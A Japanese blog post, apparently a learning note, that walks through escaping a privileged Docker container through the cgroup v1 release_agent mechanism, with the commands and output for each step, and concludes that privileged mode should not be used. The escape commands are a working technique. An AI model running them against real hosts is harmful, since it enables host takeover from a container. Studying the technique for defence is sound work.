コンテナを突き破れ!!を参考に、コンテナを突き破ってみた。特権を利用した場合の、攻撃がイメージできなかったためとても参考になった。
(動画:https://youtu.be/Il-Z4go-wLg?t=2105)
特権を付与してコンテナを実行する
# docker run --privileged -it ubuntu /bin/bash
コンテナにてcgroupのサブグループを作成する
cgroupはホストと共有するため、ホスト側にも同じサブグループが作成される。
root@313274926e56:/# mkdir /sys/fs/cgroup/rdma/x root@313274926e56:/# ls /sys/fs/cgroup/rdma/ cgroup.clone_children cgroup.sane_behavior release_agent x cgroup.procs notify_on_release tasks
release agentの有効化
cgroupの機能の1つで、cgroupの管理プロセス(cgroup.procs)が終了すると任意のプログラムが実行される。
root@313274926e56:/# echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release
ホスト側で実行したいプログラムをコンテナに配置する
root@313274926e56:/# cat cmd #!/bin/sh echo "cmd from Container" >> /tmp/output hostname >> /tmp/output
ホスト側で実行したいプログラムのパスを指定する
ホストのUpperdirに実行したいプログラムが存在するため、そのパスを指定する。
root@313274926e56:/# mount | grep overlay ...upperdir=/var/lib/docker/overlay2/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e/diff... root@313274926e56:/# echo "/var/lib/docker/overlay2/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e/diff/cmd" > /sys/fs/cgroup/rdma/release_agent
攻撃してみる
以下プログラムを実行することで、release_agentに設定したプログラムが発火する。
ホストにて /tmp/output が出力されていることを確認できた。
root@313274926e56:/# sh -c "echo \$\$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
補足:ホスト側のプロセスIDについて
“echo \$\$”が理解できなかったため調べてみた。これは自分のプロセスIDを表示する。
コンテナにて以下を実行して、
root@313274926e56:/# sh -c "echo \$\$ > /sys/fs/cgroup/rdma/x/cgroup.procs && sleep 300"
ホスト側のプロセスID、cgroup.procsを確認することで、コンテナはホストプロセスの1つであることが理解できた。
# ps afx ... 150058 pts/0 Ss 0:00 \_ /bin/bash 150631 pts/0 S+ 0:00 \_ sh -c echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs && sleep 300 150632 pts/0 S+ 0:00 \_ sleep 300 ... # cat /sys/fs/cgroup/rdma/x/cgroup.procs 150631 150632
結論
コンテナプロセスはカーネルの機能により、他のプロセスやホストから隔離したもの。
特権を付与すると、隔離の機能を取り除くため利用するべからず。